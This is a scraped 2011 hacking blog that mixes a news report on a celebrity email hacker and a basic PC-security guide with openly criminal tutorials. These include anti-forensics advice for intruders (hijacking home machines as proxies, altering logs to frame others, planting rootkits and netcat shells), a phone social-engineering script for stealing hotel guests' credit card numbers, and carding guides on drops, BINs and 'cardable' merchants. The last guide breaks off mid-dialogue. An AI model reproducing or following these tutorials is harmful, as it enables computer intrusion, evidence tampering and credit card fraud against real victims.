agentsil.blogspot.com

Alleged Celeb Hacker Glad He Got Caught; Was Addicted to Hacking

2011-10-17T10:17:00.000+08:00

Pic Credit:http://assets.nydailynews.com

A Florida man who was arrested on charges that he hacked the e-mail accounts of actress Scarlett Johansson and at least 49 other celebrities and their friends says he’s glad he got caught because he was addicted to the hacking and couldn’t stop.
Christopher Chaney, 35, of Jacksonville, Florida, told a local Florida news station that his hacking began simply as a “curiosity” but soon turned into an addiction for stealing celebrity secrets.
“It just happened and snowballed,” he said, adding that he was “almost relieved months ago” when law enforcement agents seized his computer during a search.
“I didn’t know how to stop doing it myself,” he said.
Last month, photos that Johansson took of herself in the nude appeared online and showed her looking seductively at a phone camera as she snapped images of her bare breasts while lying on a bed. Another image showed her bare backside, taken as she looked into a mirror.
The celebrity web site TMZ announced around the time that it had also seen photos of actress Mila Kunis that someone had obtained, which showed her in a bathtub with only her head peeking above the edge of the tub. A separate photo of Justin Timberlake showed him lying shirtless in a bed with a pair of pink womens underwear over his head, TMZ reported. The web site did not publish the images.
A number of Chaney’s victims are identified only by their initials in the indictment (.pdf) (such as B.G., B.P., D.F., J.A., L.S. and L.B.) though Kunis, Johansson, Christina Aguilera and Renee Olstead are identified in full, as is Simone Harouche, a fashion stylist and handbag designer.
Chaney, who used the online nicknames “trainreqsuckswhat,” “anonygrrl,” and “jaxjaguars911,” has been indicted on nine counts of computer hacking, eight counts of aggravated identify theft, and nine counts of illegal wiretapping. His nickname “trainreqsuckswhat” is a reference to another alleged celebrity hacker named Josh Holly who told Threat Level in 2008 that he had hacked Miley Cyrus’s email account and stole suggestive photos of her that were later posted online.
According to CNN, Chaney was able to guess the passwords celebrities used for their email accounts by monitoring their social media accounts for possible clues – such as a pet’s name – that might point to a password.
Once he hacked into a celebrity’s e-mail account, he’d search the celebrity’s contact list for other celebrity e-mail accounts and then target those victims, authorities say. He’d then alter the account settings to automatically forward a copy of any e-mails the celebrity received to an e-mail account Chaney controlled.
Chaney said in the interview just after being released on bail that he didn’t begin the hacking with the intent of selling photos he found or otherwise exposing them on the internet.
Instead, he did it just to see how easy it would be to do it. He says he never sold any celebrity pictures or information that he gleaned from reading emails, but he says someone did contact him at one point wanting to get pictures from him to sell, but he says he refused. Authorities, however, say he did distribute some information he received from celebrity accounts.
He now regrets his activity, saying he takes responsibility for what he did.
“I deeply apologize,” he told the WAWS news station in Florida. “I know what I did was probably one of the worst invasions of privacy someone could experience. And these people don’t have privacy to begin with. And I was in that little sliver of privacy they do have.”
Chaney has been released on a $10,000 unsecured bond and faces a possible maximum sentence of 121 years if convicted on all charges.

How to secure your PC?

2011-10-17T09:37:00.003+08:00

How to secure your PC?

Securing your PC is not rocket science but it's essential in order to minimize the chances of viruses/worms/malware infections. As you probably know or may have experienced it yourself at some stage before, viruses or any other class of malware will never do any good to your computer, they will only do harm and cause problems and above all headaches and frustrations for yourself.

By following these simple steps below, you will save yourself some downtime, headaches and money.

Step1: Ensure all programs and software installed in your computer is currently up to date. This can be done once a month, by opening the program/software and then looking for an option that says “check for updates”. However, modern software comes with an automated update process, that automatically checks and reports when there is an update/patch available. Take advantage of this feature whenever possible, this will not only protect your computer but will potentially reduce web-based or network based attacks, that takes advantages of security weakness that lies within the program source code.

For instance, a malicious user or an attacker could use exploits or application designed to take advantage of this security weakness and make their way into your computer. Viruses/works on the other hand employs this same technique, in order to get into your system. Therefore, by updating all your applications/software/OS you are closing this security holes, and reducing the chances of injections.

Step 2: Keeping all your computer program/software updated is only the first step in protecting your system. In addition, having a good firewall in place will also help minimize attacks, for example some viruses/worms are designed to establish a connection back to its author/creator machine so they can remotely control your computer and potentially steal any sensitive information you have stored in your computer. Some firewalls have the ability to detect this kind of attack and block them on the fly.

There is also a type of firewall called IDPS or Intrusion Detection and Prevention System. They are designed to detect and block attempted attacks to a system. So if the system administrator, fails to keep the system up to date, they will be your last line of defence. Generally they can cost a lot more to buy and to implement than a personal firewall and furthermore they are designed mainly for corporate or large network system, that has lots of sensitive information.

Comodo and Norton Firewalls are good choices for personal firewalls and I would recommend using them.

Comodo Firewall
http://www.comodo.co...ecurity-pro.php

Norton Firewall
http://www.symantec.com/norton/360

Step3: Install an anti-virus and maintain it well updated. Its very important, as it keeps your system safe from infections caused by virus/worms/spywares. Viruses/worm can cause damage to your computer and even steal sensitive information from you, I would recommend using either Avast 5 or Kaspersky to protecting you PC against malwares.

These products have been highly rated and have been recommended, by popular computer magazines (eg, PC user)

Avast 5
http://www.avast.com/

Kaspersky
https://www.kaspersk...ternet_security

Norton
http://antivirus.norton.com/norton/p...e|kw0000004480

Step 4: A rule of thumb, is to never open attachments from unknown sources, never click on web-links or email links that you are not familiar with or not expecting. If you do receive an email, requesting you to click on a link or to open an attach, discard the email and block the sender, this will most likely be an attacker trying to steal your information.

Step 5: A lot of us, not just the beginners make this mistake and it can be easily corrected. Try not to use the same password, for every web site you sign up with very bad idea. Never ever use a word from the dictionary to create a password, use a word that is not in the dictionary or perhaps a phrase, preferably 10 to 20 characters, with upper and lower case if possible and a combination of numbers and symbols.A brute force attack against this sort of passwords would take a very long time to crack. Change you passwords every month or so, keeping in mind to always use the method mentioned above and do not disclose your password to anyone.

Step 6: Do not use administrator account to log on to your computer; use limited account as often as possible, this will limit the chances of damages caused by you or computer viruses, as well as making your computer much more secure.

Source

How To Be A Safe Hacker?

2011-10-17T09:32:00.002+08:00

This article will show you some of the top ways the best hackers use to keep themselves hidden and out of jail and to be a better Hacker. Educational purposes only. Written for beginners.

Never tell anyone you are a Hacker
Never Hack without a proxy
Always use a proxy when doing anything remotely illegal
Never Hack from your house
Never use your real name in a conversation or sign up sheet
Always use fake information when signing up for something such as an account
Never use the same password more than once
Never use a password that can be found in the dictionary
Always use a firewall
Never let the F.B.I. into your house without a warrant stating their intentions.
Never let the F.B.I. in period.
Always have a panic button that mass deletes all your questionable material.
Make sure that the deletion of your files it is at least in compliance with the Department of Defense deletion protocol if you have time; The Guttman Method is the best.
Never Hack from the same computer twice if possible
Always wave to cops
Keeping a low profile is very important, it reduces your chances of getting caught
When using open-wireless network for hacking make sure to change your computer MAC address and hostname
If you ever have to relocate, make sure all your secrets are destroyed and the place wiped clean.
Make use of heavy encryption when possible.
Passwords should never contain dictionary words, always use long phrases instead

You might say to yourself that you do not follow one or more of these rules. This is why most hackers get caught. They forget to cover their tracks and get busted. The more rules you abide by, the better your chances are of staying hidden.

source:internet

Things you should not do..

2011-10-03T16:33:00.001+08:00

Originally written by commander. Rewrite the same information by co19..

I think one of the most unclear areas to the up and coming hacker is how to avoid being caught when penetrating systems and networks. I've read and heard many very misinformed myths on this subject, and I've seen more than a few people get in a lot of trouble by making dumb mistakes.
not promoting illegal activities or saying anybody should go out and do anything illegal or damaging. Just wanna let you guys know some facts.

Contents

1 Things you should not do

1.1 Use AOL, MSN, or any small ISP (assuming you're doing this from your home).
1.2 Make any operational changes to the compromised computer(s)
1.3 Leave a calling card
1.4 Use Proxies
1.5 Use automated exploit scanning tools
1.6 Tell anybody about what you're doing or have done
1.7 Attempt unrealistic methods of intrusion
1.8 Give yourself a user account
1.9 Do it from a public computer
1.10 Write things down or print things off
1.11 Respond to any odd communications you get regarding your target
1.12 Use mind altering drugs or hack when you've had a lack of food or sleep
2 Stuff you should do
2.1 Your Environment
2.2 Proxies - Revisited
2.3 Data Protection
2.4 Wireless
2.5 Using Exploits
2.6 Hacking Web Apps
2.7 Dealing with Logs
3 Hiding out on a Linux System
4 Hiding out on a Windows System

Things you should not do

There are some things that you should avoid doing at all costs if you don't want to get caught. I think it's important to go over these first because there are a lot of common myths and falsehoods that should probably be cleared up before I go on and explain good ways to protect yourself. Keep in mind, these are things you _shouldn't_ do.

Use AOL, MSN, or any small ISP (assuming you're doing this from your home).
If you do stuff from home, or even just do research of some kind from home, you should avoid MSN, AOL, and smaller "home-town" type ISP's. AOL and MSN watch their customers very closely for any activity that might indicate you are involved in breaking into a system and may call the cops, turn off your internet, or a multitude of other things. Smaller ISP's tend to do the same kind of thing. Citation needed

Make any operational changes to the compromised computer(s)
When you compromise or probe a system you should not do anything that has a good potential of negatively impacting the performance of that system. People will notice if something stops working right or starts working slower than normal, and will investigate the reason behind it.

Leave a calling card
Don't leave any sort of calling card that'll tip someone off to your presence. This includes defaced web pages, deleted system logs, logs edited in ways that aren't believable, etc. This is again, because it lets the target know that someone has been messing with things.

Use Proxies
This mostly applies to the proxies found on public proxy lists, but it should be held as a general rule. Do not use proxies to try to mask where you are connecting from. Most proxies keep logs of who uses them and for what. If your mark realizes something is going on they can probably just get the party responsible for the proxy to release the relevant logs. This isn't to say that proxies should never be used. They just should not be relied on. Ideally, any proxy you use should be one you are sure does not log anything, or one which you can access and delete log entries related to you.

Use automated exploit scanning tools
Don't use programs like X-Scan, Nessus, Saint, SuperScan, Languard, or anything else like that to get info about targets. These programs tend to check for every possible thing which could be wrong with a given system, which will generate a lot of error messages on your target's system and fill their logs, which is a pretty good indication to them that someone is attacking them. Such programs also tend to trigger intrusion detection systems like Snort.

Tell anybody about what you're doing or have done
The fewer people who know, the better, because then there are less people who can rat you out or let it slip. Avoid working in groups if possible.

Attempt unrealistic methods of intrusion
Don't try to do stuff like use IIS exploits against Apache, or IA32 shellcode on a computer with a PPC processor in it. These are sure-fire tip offs to someone that something is going on, and will also trigger most IDS devices. Along with this, you should avoid using automated password guessing programs because they'll cause you the same kind of trouble, and you probably won't gain anything.

Give yourself a user account
Avoid giving yourself a user account on a target system. If you can, use an existing account or access the system using a method that doesn't require authentication.

Do it from a public computer
Although it might be tempting, you shouldn't use public computers for any kind of hacking. While it does grant you relative anonymity, you can't be sure that someone won't walk past and see what you're doing, that there are no cameras around, or that the machine doesn't log what you use it for.

Write things down or print things off
Keep stuff on computer where you can encrypt it and hide it from prying eyes. Don't write stuff down or print it off because then someone might find it laying around. Plus, papers found with you can be used as evidence while most text-based computer documents can't be.

Respond to any odd communications you get regarding your target
This might sound obvious, but don't respond to any communications you get from anyone regarding your target. If someone contacts you about your target then cease all activity right away.

Use mind altering drugs or hack when you've had a lack of food or sleep
All of these can cause you to make stupid, stupid mistakes. Stuff you should do. Enough with things you should avoid doing, and on to things you should do. This section is broken up into little segments about different topics.

Your Environment
Something that is a lot more important than you would think is the environment in which you work. Make sure you are relaxed, have access to some place comfortable to sit, and are not rushed. Avoid recurring distractions like the telephone, and turn off things like the TV or the radio. Music is good, but don't listen to music that makes you feel particularly rushed, excited, or tense. Turn off any messaging programs or anything like that.

The idea is to make it so you can completely focus on the task at hand without feeling rushed or uncomfortable. If you maintain a relaxed state of mind and body you will make less mistakes and will think through your actions more carefully. It's really easy to forget what you're doing and then make a mistake later if you get pulled away from the computer by the phone or something. Take frequent brakes and sit down and relax. Also, make sure you have plently of sleep, food, and what not so you're brain is working well. Needless to say, save the cannibus, alcohol. or whatever else for the victory dance, hehe.

Proxies - Revisited
Yeah, I said not to use proxies. That's because it's easier to tell someone not to do something than to explain to them the right way to do it. So, this is the "right way". When it comes to proxies your best source of them is yourself. You should use proxies you have set up on other people's machines. There are many pieces of software available online which will act as a SOCKS proxy if you install it on someone's computer.

Register an account with a free dynamic DNS service like dyndns.org and then install proxies on home machines, and use the dynamic DNS services so you can always find the machines you've made into proxies. The advantage of this approach is that individual home users are a lot less likely to monitor their computers (many home PC's are part of a bot net anyway), and you don't have to worry about logs.

It's best to use proxies which support encryption so the traffic sent between the proxy and your machine can't be sniffed by anyone in between.

Also, on the topic of proxies, it should be noted that any program can be used through a proxy if you take the correct measures. Two pieces of software you should look into are tsocks and proxychains. Both of them can take all of the TCP I/O of a program and send it through a chain of proxies. You can even use them to do anonymous portscanning and the like. About the only thing they don't work well with is FTP, due to the way FTP connections work.

If you have the time to do so you should check out the Tor project (Tor Project: Anonymity Online), which is a decentralized, encrypted network of proxies which anyone can use to mask the source of a connection. It seems to work prety well, except that connections over Tor have a higher latency than connections without it.

Data Protection
Protect the data on your computer(s) from prying eyes. Don't use some kind of stupid method like a commercial crypto-disk software which probably has a backdoor in it. There are better ways. One of the best ways I have seen is to use the cryptodisk function found in the Linux kernel. Basically, you can make a image file which can be mounted as a file system (with the correct password). When it's not mounted the data is encrypted using any algorithm you like (anything from 3DES to AES or Twofish). There's a good tutorial on how to set this up here: Cryptoloop HOWTO

If you're not able to take that route, using PGP/GPG is a good idea. GPG is an open source encryption program that uses a public key architecture and is pretty much the de-facto standard for encrypting documents. It's a good idea to encrypt any saved logs or data using it. If you're using a system with it installed (any *NIX) open a command prompt, run gpg --gen-key and follow the directions. It's a very useful piece of software.

As far as hiding and encrypting data it's a good idea to avoid any commercial software and the methods of encryption used by programs like Winzip and Winrar. In short, don't use any application-specific method of protecting your data. Don't rely on the password protection of Word documents, for example.

Also, it's not a horrible idea to have some kind of plan in place to destroy all of your data very quickly in the event of a raid or something like that. Granted, you probably won't ever have to actually use the plan, but it's like hacking insurance. Better safe than sorry. It's best to dispose of magnetic disks like floppies and hard drives using very strong magnets or very high heat. Heat is best, since the media will warp and expand. One thing I used to do was keep a coffee can with a magnet taped to the lid, and keep floppies in the can. That way knocking over the can would erase the disks.

Hiding your data somewhere no one will look is a good idea as well. Some HP network printers use a version of DOS which will allow you to store files on the flash drive in the printer, for example. Who is going to look for your stored files on a printer? All the better if they're encrypted too.

Wireless
The spread of wireless internet access has made it a lot easier to hide one's identity on the internet. If an attack is made from a network with an attached wireless AP, it's almost impossible to know who did it. However, if you choose to go this route you need to take special precautions.

Obviously, don't be suspicious, and don't get yourself on camera. Also don't use programs like Net Stumbler to find networks. Use a passive tool like Kismet, or just put your card in monitor mode and use Ethereal. Do NOT use a Windows computer for this. Windows loves to broadcast all sorts of identifying data all over the place, and you don't want that on someone else's wifi net. In fact, make sure any programs which automatically connect to anything online are turned off so you don't make any more traffic than you have to. It's also a good idea to change the MAC address of your wifi card using a program like macchanger or travesty. You can change the reported MAC address in Linux easy enough with ifconfig.

If you can, you should get into the AP and delete logs related to your computer as well. That way no one even knows anyone out of the ordinary was using the network. Otherwise you might suddenly find that networks you frequent become closed.

Using Exploits
Probably one of the most effective ways into a system is to exploit a vulnerability in a piece of software installed on that system. It could be an exploit for anything from an anti-virus program, to a web server, to something as odd as a word processor. Such exploits are plentiful, available all over the internet, and most systems have at least one piece of software installed which is vulnerable to an exploit. All of this makes using known exploits very attractive. Well, before you happily go and use someone else's exploit code there are some precautions you should take.

First of all, most of the time when a vulnerability is discovered one to two pieces of code are released for exploiting it. In most cases these pieces of code send some kind of distinguishing data to the target, so such data is often added to the signature lists of IDS software very quickly. Exploits which cause something to listen on a port are usually added to IDS software pretty quickly too, because they tend to use the same port all the time. So, if you just plan to use someone else's un-modified code, you probably shouldn't. The best practice is usually to write your own code that exploits a known vulnerability in a fashion that won't set off too many alarms. If you don't have that level of skill, you can always try modifying someone else's code.

Most exploits have a section somewhere in them called the "payload" which is basically the instructions the exploit has the target run. Most of the time "shellcode" is placed here, which is a hashed and obfuscated list of command line instructions. Again, most of the time the goal of shellcode is just to get the remote system to bind a command shell to a given port. In many cases you can simply remove the shellcode in an existing exploit and replace it with your own. Tools like the Metasploit Framework can help you generate code to your specs.

Also, the best practice as far as exploits go is to use or find one that not many people know about at all. If an exploit isn't public knowledge then most people will not know what to look for, and most IDS devices won't flag the usage of it.

Hacking Web Apps
A common way into a server is to exploit something wrong with a web-based application like forum or gallery software. This is actually a very good way into a server that carries a lower risk than you might think. If you do this sort of thing it's best to do it during peak hours because so much traffic will already being hitting your target that yours will probably go unnoticed. Web server log files get very large and most people never read through them unless they think something's messed up or not working right. Furthermore, most *NIX based systems use logrotate to delete old log files, so chances are, your logs will be deleted anyway after a little while. Some systems are even configured so that log files are "rotated" once they reach a certain size.

However, you are still vulnerable to detection by intrusion detection software. Thus, you should take two precautions. The first is to use a randomized chain of proxies so that your requests don't all appear to be coming from the same IP. Multiproxy (for Windows) and proxychains (for Linux/UNIX) can do this for you. The second is to use SSL (https://) if you can. SSL encrypts all data between you and the web server to prevent people from snooping. It also prevents IDS software from seeing the data you're sending the server.

Dealing with Logs
How to deal with system log files is a hotly debated subject. Generally, you should never just delete all the logs on a system. Missing log files are a huge tip off that something is wrong. Also, you should always check to see if the logs on a system are being saved somewhere other than the usual place. On a Linux or UNIX system you'll probably want to take a look at /etc/syslog.conf and look to see if logs are being logged to any remote hosts. Windows doesn't have a built in way of logging to a remote computer (at least, not that I am aware of), so it's harder to tell if something like that is set up on a Windows box.

It is a good idea to edit logs. However, you have to be careful and pay attention to what you're doing. You probably shouldn't just delete all evidence that you ever touched the system. Rather, you should alter the evidence to make it look like someone else did. For example, say you break into a server in a college. It wouldn't be a bad idea to alter and change all instances of your IP to an IP somewhere on the same IP block as the student dorms. A plausible explanation is always better than no explanation. People won't look as hard for an answer if there's already an apparent, obvious one in front of them.

On *NIX systems there's a file called /var/log/lastlog which keeps track of the last time each user logged in and from where. Generally, when a user logs in it will show them the last time they logged in. Deleting lastlog is a bad idea, and there is no good way to edit it. One good way to deal with it is to secure shell to localhost and log in again. Most people won't really think anything of it if the server says the last time they logged in was from TTY1 or something. Now, yeah, an admin will know something is up, but if the account you used belongs to someone less experienced they'll just ignore it and assume the admins must have been fixing something.

Hiding out on a Linux System
If you break into a Linux system there are some things you should check for before you poke around too much. You should probably check to see what modules are loaded (lsmod) and look for anything odd which might indicate you're inside a virtual machine (might be a honeypot). Another good way to check for that is to cat /proc/cpuinfo. If it's vmware cpuinfo will say so.

Also, you should see if process accounting is installed and enabled. Look for the executable accton, which is typically located in /sbin. Look for any kind of integrity software as well, including chkrootkit, rkhunter, tripwire, samhain, integcheck, etc. If you do find software which will detect your presence you should not disable it. Rather, see if you can reconfigure it to ignore you.

Generally, because of the way a Linux system logs actual log ins you'll probably want to install some sort of rootkit or back door to let yourself in later. The best sort of rootkit for this sort of thing is one that's not readily detectable. Good ideas are replacing ssh with a patched version which does not log your logins, or replacing /sbin/login with a version that doesn't log you. There are plenty of rootkits out there which you can get ideas and the like from.

There are also a lot of more obscure ways of gaining access, including programs which send command over ACK packets, ICMP, or HTTP. Such programs are very useful since a firewall won't normally think anything of them. Also, of note here are netcat and the GNU version of awk, both of which can be used to make a remote shell you can connect to. These are nice because both of them are usually installed on most Linux systems.

Also, a final note on rootkits. Do not compile them on your own system and them upload them, especially if they replace vital system files on the target system. If your system happens to have different versions of a required library or something of that nature the rootkit might cause the "patched" version of /sbin/login or some other program to not even run, which that is a first class way to let someone know something is wrong.

Hiding out on a Windows System
Windows is a lot easier to hide on. There are plenty of good programs which will dodge antivirus software and disable logging of your connections. Also, if the target system uses NTFS you can use NTFS file streaming to hide files on the system (the book Hacking Exposed talks about how to do this).

As far as backdoors and the like go, you should avoid using traditional trojan horses. They are easy to detect and usually have a lot of functionality issues. Installing something like tightvnc, turning on Remote Desktop/Terminal Services, or something like that is the way to go. Most Windows servers do not have the logging facilities to notice a change like that, and it's easy to hide such changes or software installs if you use a rootkit like the one that comes on those CD's Sony is distributing right now (hides any file where the name starts with $sys). People tend to expect a little oddness and quirkiness out of Windows, so you have more leeway for installing backdoors.

LastPass Pocket Is Desktop Tool To View Your Passwords Offline

2011-10-03T16:10:00.001+08:00

There is hardly any other browser extension/add-on that can make internet browsing experience as convenient as Lastpass. As the developers of this utility say, the last password you’ll ever need to remember, and for months LastPass has been doing that for me.
However, there is a tiny nuisance, LastPass has made it a habit in me to not remember any passwords, since I give them to trusty-old LastPass and move on. So if I am using some other computer, it really becomes frustrating trying to guess the password to my not-so-much-used accounts. For times like these, consider using LastPass Pocket.

This portable application can gather all your login information from either your Lastpass.com account or an encrypted file on your hard-drive, and display that information in a simple interface.

It is as simple as you can manage it to be. On the initial level, you are asked to either input your LastPass credentials, or supply the path to the encrypted data file on your local file system. You can also choose to remember the file path or email and password for login. The main interface itself offers stored passwords categorized in All, Favorites, Secure Notes etc, to name a few. You can choose to copy almost any field from the View menu, and finally you can reveal all passwords if you need something out of them (master password input is again required for this).

LastPass Pocket is a free, portable application from LastPass’ developers that can serve both an offline storage vault and backup for your passwords. It works with both 32- and 64-bit operating systems, and is available for Windows, Mac OS X and Linux.

Download LassPass Pocket (Windows)
(Go to Windows tab and you will find the tool in the bottom of the page)

http://www.addictivetips.com/internet-tips/lastpass-pocket-is-desktop-tool-to-view-your-passwords-offline/

XEO CSS: HTML Editor, Visual Editor & Auto Code Generator For CSS

2011-10-03T16:08:00.001+08:00

There are multiple CSS code generators that allow you to add effects either to images, text or elements. These code generators are what they are and give you the CSS code only. Few of them allow you to chose how you would like to load the CSS in your HTML file. What they leave up to you is creating the HTML file and defining classes in it manually. XEO CSS is a CSS code generator and an HTML editor. It creates an HTML file and gives the option to either load classes from HTML, IDs from HTML to elment names from it. Changes to CSS are made via a visual editor and there is little or no coding involved. You can save multiple files by signing up to the service and resume editing them anytime.

You don’t necessarily have to sign up for an account, you will be able to use all features of the app without signing up but you will not be able to save files. When you first use the application, it shows you a mockup HTML page preview. Everything from the font, background color to the drop shadow can be edited.

You can start off by either editing the HTML file or the CSS file. Both are edited and saved separately; when you make CSS changes, make sure you click the save button. CSS file is saved when you’re in Preview mode. Click the save button in HTML Editor mode to save any changes to the HTML file.
With the HTML template that loads by default, there is also a CSS file and all classes in the file are listed in a panel on the left. You can add or remove any one of these classes. To add a class, click the plus sign and start typing in the class name, to delete a class, select it and click the minus sign.

The top navigation bar allows you to switch between the HTML editor, CSS Code, CSS Editor and the preview mode.

To edit CSS for a particular selector, select it from the left panel and click CSS Editor from the top navigation bar. A visual editor will open allowing you to edit the background, typography (text), dimensions, layouts, transformations, borders and transitions. The editor allows you to edit CSS defined attributes that you would normally have to code.

If you choose to add a new selector, you can use this same editor to define its attributes and apply the class wherever you want to by editing the HTML file. Click Save after both HTML or CSS changes. The save function has a few glitches in it and while your CSS file is always saved, the HTML file might not be so make sure you always copy the the code from the respective HTML and CSS code views.

Visit XEO CSS

http://www.addictivetips.com/internet-tips/xeo-css-html-editor-visual-editor-auto-code-generator-for-css/

Tactical Information Gathering By Christian Martorella

2011-09-01T12:25:00.000+08:00

Tactical Information Gathering

View more presentations from Laramies

Have fun getting your CC's by SE.

2011-07-26T22:38:00.000+08:00

I have done this before and very recently so I just thought it would be cool to make a short tutorial on how to do this.

1) Call up a hotel. It can be any hotel really. Any hotel that has room number that you are going to request.

2) When the representative picks up, say Hello sir can you please transfer me to room "whatever".

3) 99% of the time they will transfer you. If they don't have a room with that number then you can SE to search for the last name "Smith" if it's a big hotel you might have some luck. If not try another room number, etc.
If he asks who you are calling, say you are calling your cousin who you believe is staying in the same room as them. Make up some bullshit story about how you need to contact him, his cellphone is dead, and his wife is having a baby or something. Whatever sounds like it would work, try that.

4) He will connect you and HOPEFULLY they will pick up. 6 times out of 10, they won't pick up. When that happens just hang up and try another hotel. Calling around 8-9 or later might be better for calling because they will most likely be back at the hotel by then.

5) If they do pick up then great, you have a potential victim. When they pick up you can use the following script:

Hi (if you know their last name, say Mr/Mrs. ___"), I am John from the front desk. Our financial department told me to call you up because there seems to be an issue with your credit card payment. This isn't much of a problem, as we misspell the card number numerous times, and we do apologize if that is the case. If you could just repeat the information once again, then we will get this issue resolved as quickly as possible.

MANY people will say something along the lines of "I'm not giving out my number to some shmuck over the phone, so let me come downstairs and we'll sort it out".

If they say that you can still try to SE them by saying Yes ma'am if that is what you would be more comfortable with, then by all means please come down, hoping that they will say okay fine let me give it to you.

That's basically it. Try over and over again until you get some victims. I've done it hundreds of times and it seems to work fine for me.

Security

I would recommend using some phone device of software that you know is completely secure to call with before you just call them. If they don't feel comfortable giving their card out, they will most likely talk to the front desk and they will try to trace the number. Never underestimate the law.
Skype is an option, if you don't have a skype-in number. Even with skype, I've had situations where they figure out the number was called using skype, (because its caller id is 0000123456) contact Skype, and they will search all logs seeing who called the number recently.

So just be safe.

Enjoy, have fun getting your CC's. If you liked, vote post up :).

Some useful information on karding.

2011-07-26T22:34:00.000+08:00

Okay guys, I just wanted to post up some useful information on karding.

1.Bin numbers

The bin numbers are the first six digits on a credit-card. These can be used to check the card level, bank and
to see if it's non AVS or non VBV.(You need non vbv/avs bins prior to checking. To see if the bins match really)

Eg. 4117764001058562 The first six digits are 411776. That's the bin !! To check the bin, you can have a
private checker which I can post if needed or use this site http://www.binbase.com/ .

2.Best Credit card to use!

Okay this is key. This is the difference between shipping that $1,000 computer or nothing.

Best card out there :

Amex Centurion card. It has a spending limit of 14,000 for every two weeks or sometimes unlimited (Depends on the bank) . Whenever you get such a card in your db, always card high priced items, as the approval will have a high chance.
As opposed to a Business Visacard.

3.Being anonymous and getting orders shipped

Use a VPN that keeps absolutely No Logs! If they keep logs, the carded company may find you and
the feds will be knocking on your door ! You may also use a Double Vpn ( I use it) . Next,
use a Mac Id spoofer. A macid may be used to trace you, some sites keep mac-id's when in checkout.
(I know Dell.com does) . I recommend getting Smac. It's not to hard to find a crack.
Also, to get your chances of order approval up, use a sock5! A sock5 sort of acts like a proxy
in the sense it shows where the order came from. (Always use a state or city matching sock5 , with the cc
or it's useless) In addition to this, carding on an RDP helps lower the chances of being caught, even though
the chances are already extrememly low with the per-cautions taken above.

4.Drops

When carding non-virtual items such as a desktop pc,laptop ,tv etc always use a drop ! A drop
is the area where you pick up the carded item. This prevents you from being caught, opposed
to it being shipped to your front door. Some mail services require a signature so be prepared to do
so. You should also try and make yourself look legit.
Eg. Doing an outside job, cutting the lawn , etc when the mailman arrives. Don't just sit on the porch,
sweating like a dumbass.

Note: Having a drop, like a few blocks from your house is a bad-idea. The Mailman might recognize you in the future
and report your ass to the police or get them to stop by for a visit ;o .

5. Cardable Sites

Okay , not to many sites to put in this section but w.e .

Physical Carding:

www.walmart.com (Should use Amex or Discovery, if not try to get non-vbv cards for Visa. )
www.dell.com(Get a decently balanced card, ofc more than the item you are going to card)
www.gomerch.com(Tested with a non-vbv)
www.store.dcshoes.com(Tested with non-vbv card)
www.pizzahut.com(Non-vbv. I know for a fact if you dont use a drop, you will be fucked)

Virtual Carding:
www.cjs-cdkeys.com(Tested with non-avs. 100% use a sock5,I know the owner and he checks to make sure the ip matches state)
www.ea.com (I used a regular visa on multiple occasions. No special cards are neccesary.)
www.steampowered.com(Tested with a regular amex.Sock5. 100% correct billing, not even a spelling error on an address .)

Hope this information helps people, as it helped me through my carding journey.

Learn How To Kad..hehehe..

2011-07-26T22:30:00.000+08:00

Yep, another tut for those who want to learn how to kard. I'm pretty sure there isn't a better tut than this out there, so lets get started.

OK, so you want to card, eh? You see that Mac portable that's $5000, and know you could handle one. You don't have to save up for 3 years to get it either. The answer is CREDIT CARD FRAUD. It's a multi-million dollar a year fraudulent scheme for those who know how to do it. All you need to do is invest 2 minutes of you time to get ANYTHING that you want.

OK, to start off, here's a little tutor about the actual kards, carbons, numbers, or whatever you want to call them...

Information on Credit Cards

Visa Classic - in the format 4xxx xxx xxx xxx. ALWAYS ALWAYS ALWAYS start with a 4. The 3 numbers after the 4 are the bank number (explained later). Visa Gold/Preffered - in the format 4xxx xxxx xxxx xxxx. Same as the above Visa, only has 16 digits. ALWAYS ALWAYS ALWAYS start with a 4. Same as the Visa Classic, but with higher limits.

MasterCard - 5xxx xxxx xxxx xxxx. ALWAYS ALWAYS ALWAYS start with a 5. The bank number is 3 digits after the 5.

Mastercard Gold - Same as the normal MC, but have much higher limits.

American Express- 3xxx xxxxxx xxxx. the number after the 3 is USUALLY a 7, but doesn't have to be. This format is the same for the American Express Gold. Contrary to popular belief, AMEX's have limits. It's how much finiancial holdings (So they can reposses your house if you don't pay in time!) that determines said limits. Amex Gold's have higher limits that Amex Classic. American Express PLATINUM (Creme de la Creme) have limits that are usually in the hundreds of thousands (drug lords, crooked politicians, Donald Trump, etc) and sometimes in the millions. If you are lucky enough to get one of these, don't blow it on a box of 10 disks.

Discover - 6011 xxxx xxxx xxxx. These are similar to Amex cards, in that the limit is set higher than Visa/Mc cards.

All of these cards have expiration dates. I know that Visa/MC/Amex and Discover say it right on the card/carbon. If you don't have the exp date, but you know the card is valid, try something like (1/91). Make it January of the next year. That's pretty common. As long as the card hasn't expired, the people don't give a fuck.

Finding Drop Sites

Now the second thing you need is what's called a drop, drop site, drop point, whatever. You don't want to use anywhere closeby if you can help it. The little old lady down the street is OK, but try to be diversified in where you go. If you do alot of times in one area, the Secret Service get's calls and then they come out there.

While on the topic of the law, the ONLY branch of law enforcement that investigates Credit card fraud is the Secret Service. They are a branch of the Treasury department. The FBI has NOTHING to do with credit card fraud. So if you see some Aries K (actually Chevy Corsicas now!) cars with municipal plates around your neighborhood, be WEARY! They don't just follow the president around with earpieces and black 3 piece suits!

These bastards will NAIL you!!

OK back to the drops. Keep your ears open. I find that people ALWAYS blab about when they are going away on vacation for a week or two or three. It's human nature. I used a drop site one time for 2 straight months while the residents were away. Things to look for are closed shades, floodlights that are on, lights that go on at a specific time every night, old newspapers in the driveway, whatever. Get the adress, Zip code, and city, and if you can, who lives there (just look in the mailbox).

Getting the Acutal Credits Card Numbers!

A few good ways to get carbons are to go trashing (looking in dumpsters of gas-stations, and other stores that get alot of credit card business) or you can get a JOB at a place like that! Or you can use a credit bureau such as TRW. Don't use this unless you ABSOLUTELY know what you're doing. I still don't use it too much.

OK, so you have your drop and you have your card number. So you want to order, right? Well sort of. Take your time and decide what EXACTLY it is you want. Don't be on the phone making the order sounding unsure of yourself. Salespeople know what's going on then. Then call the place, and have the name and adress and phone number ready. (You can make up a phone number, or use one that rings and rings and rings, but don't use the one from the drop point).

How To Order Your Goods!

Sample Order...

Computer Products, this is Steve, how may I help you?

Yes sir, I am looking to place an order on an item I saw in blah-blah magazine. Can I ask you the price just for confirmation? (Stuff like this makes it sound like you are the real guy, and are worried about your money!).

Steve- Yes, it is $699.

